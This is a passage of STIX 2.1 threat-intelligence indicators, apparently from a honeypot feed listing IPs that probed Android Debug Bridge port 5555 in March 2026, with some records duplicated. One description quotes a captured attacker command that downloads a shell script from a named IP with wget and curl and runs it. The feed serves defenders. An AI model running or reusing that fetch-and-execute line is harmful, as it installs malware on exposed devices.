      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-02T18:03:22.000Z | last_seen=2026-03-02T18:13:36.743Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--6454d4f8-0f2c-4800-bc7e-6ce185415b3e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.238.97.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:00:13.000Z",
      "valid_until": "2026-04-03T19:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-02T18:03:22.000Z",
          "last_seen": "2026-03-02T18:13:36.743Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T19:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-02T18:36:57.000Z | last_seen=2026-03-02T18:38:15.769Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--788e1e14-6fe0-4aae-9c18-86cbb7f2474b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:00:13.000Z",
      "valid_until": "2026-04-03T19:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-02T18:36:57.000Z",
          "last_seen": "2026-03-02T18:38:15.769Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T19:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=VN; asn=63737; asn_org=VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://103.253.146.163/viet69.sh; sh viet69.sh; curl http://103.253.146.163/viet69.sh; sh viet69.sh; wget http://103.253.146.1\"\n\nObserved in ADBHoney telemetry for 2026-03. events=35 | first_seen=2026-03-02T18:06:38.000Z | last_seen=2026-03-04T18:02:40.618Z | ports=5555 | cc=VN | asn=63737 | org=VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED",
      "id": "indicator--bab4db3b-42ec-4392-8b6c-2a0c490d352a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '103.30.10.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:00:13.000Z",
      "valid_until": "2026-04-03T19:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 35,
          "first_seen": "2026-03-02T18:06:38.000Z",
          "last_seen": "2026-03-04T18:02:40.618Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "63737"
          ],
          "org": [
            "VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T19:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-02T18:03:22.000Z | last_seen=2026-03-02T18:13:36.743Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--6454d4f8-0f2c-4800-bc7e-6ce185415b3e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.238.97.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:00:13.000Z",
      "valid_until": "2026-04-03T19:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-02T18:03:22.000Z",
          "last_seen": "2026-03-02T18:13:36.743Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T19:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-02T18:36:57.000Z | last_seen=2026-03-02T18:38:15.769Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--788e1e14-6fe0-4aae-9c18-86cbb7f2474b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:00:13.000Z",
      "valid_until": "2026-04-03T19:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-02T18:36:57.000Z",
          "last_seen": "2026-03-02T18:38:15.769Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T20:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-02T19:25:06.000Z | last_seen=2026-03-02T19:36:34.244Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--071d8ad7-7da7-4ebd-8a9c-079ca8e5120a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T20:00:13.000Z",
      "valid_until": "2026-04-03T20:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-02T19:25:06.000Z",
          "last_seen": "2026-03-02T19:36:34.244Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T20:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-02T19:25:06.000Z | last_seen=2026-03-02T19:36:34.244Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--071d8ad7-7da7-4ebd-8a9c-079ca8e5120a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T20:00:13.000Z",
      "valid_until": "2026-04-03T20:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-02T19:25:06.000Z",
          "last_seen": "2026-03-02T19:36:34.244Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T23:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=5413; asn_org=Wavenet Limited; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-02T22:09:49.000Z | last_seen=2026-03-22T05:45:46.448Z | ports=5555 | cc=GB | asn=5413 | org=Wavenet Limited",
      "id": "indicator--ab548dea-6e91-4796-bd9b-83a841149d78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '217.67.51.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:00:13.000Z",
      "valid_until": "2026-04-03T23:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-02T22:09:49.000Z",
          "last_seen": "2026-03-22T05:45:46.448Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "5413"
          ],
          "org": [
            "Wavenet Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T23:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=5413; asn_org=Wavenet Limited; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-02T22:09:49.000Z | last_seen=2026-03-22T05:45:46.448Z | ports=5555 | cc=GB | asn=5413 | org=Wavenet Limited",
      "id": "indicator--ab548dea-6e91-4796-bd9b-83a841149d78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '217.67.51.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:00:13.000Z",
      "valid_until": "2026-04-03T23:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-02T22:09:49.000Z",
          "last_seen": "2026-03-22T05:45:46.448Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "5413"
          ],
          "org": [
            "Wavenet Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T00:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=HK; asn=9304; asn_org=HGC Global Communications Limited; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-02T23:57:12.000Z | last_seen=2026-03-26T02:59:06.030Z | ports=5555 | cc=HK | asn=9304 | org=HGC Global Communications Limited",
      "id": "indicator--fbcaa349-6cc2-4892-a72a-77b0ca08f4e5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '113.253.63.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:00:13.000Z",
      "valid_until": "2026-04-04T00:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-02T23:57:12.000Z",
          "last_seen": "2026-03-26T02:59:06.030Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9304"
          ],
          "org": [
            "HGC Global Communications Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T00:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=12 | first_seen=2026-03-02T23:35:05.000Z | last_seen=2026-03-10T21:00:35.101Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--40896853-3009-47fd-a6f0-e87fec45e6da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:00:13.000Z",
      "valid_until": "2026-04-04T00:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 12,
          "first_seen": "2026-03-02T23:35:05.000Z",
          "last_seen": "2026-03-10T21:00:35.101Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T02:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-03T01:58:51.000Z | last_seen=2026-03-03T02:09:07.266Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--e09d3de7-9d20-4a54-a20b-0e9f3af959d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:00:08.000Z",
      "valid_until": "2026-04-04T02:00:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-03T01:58:51.000Z",
          "last_seen": "2026-03-03T02:09:07.266Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T02:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-03T01:58:51.000Z | last_seen=2026-03-03T02:09:07.266Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--e09d3de7-9d20-4a54-a20b-0e9f3af959d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:00:08.000Z",
      "valid_until": "2026-04-04T02:00:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-03T01:58:51.000Z",
          "last_seen": "2026-03-03T02:09:07.266Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-03T03:15:10.000Z | last_seen=2026-03-03T03:25:29.774Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--245563b2-b937-4a67-a941-e39a5a65ea3f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:00:07.000Z",
      "valid_until": "2026-04-04T04:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-03T03:15:10.000Z",
          "last_seen": "2026-03-03T03:25:29.774Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-03T03:39:15.000Z | last_seen=2026-03-03T03:49:28.048Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--5e6595e4-7af2-4c2e-a4c4-d0bf4e60a7c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:00:07.000Z",
      "valid_until": "2026-04-04T04:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-03T03:39:15.000Z",
          "last_seen": "2026-03-03T03:49:28.048Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-03T03:38:16.000Z | last_seen=2026-03-03T03:39:18.901Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--502473cf-ad49-4840-b05d-a51cf39c3dd6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:00:07.000Z",
      "valid_until": "2026-04-04T04:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-03T03:38:16.000Z",
          "last_seen": "2026-03-03T03:39:18.901Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-03T03:15:10.000Z | last_seen=2026-03-03T03:25:29.774Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
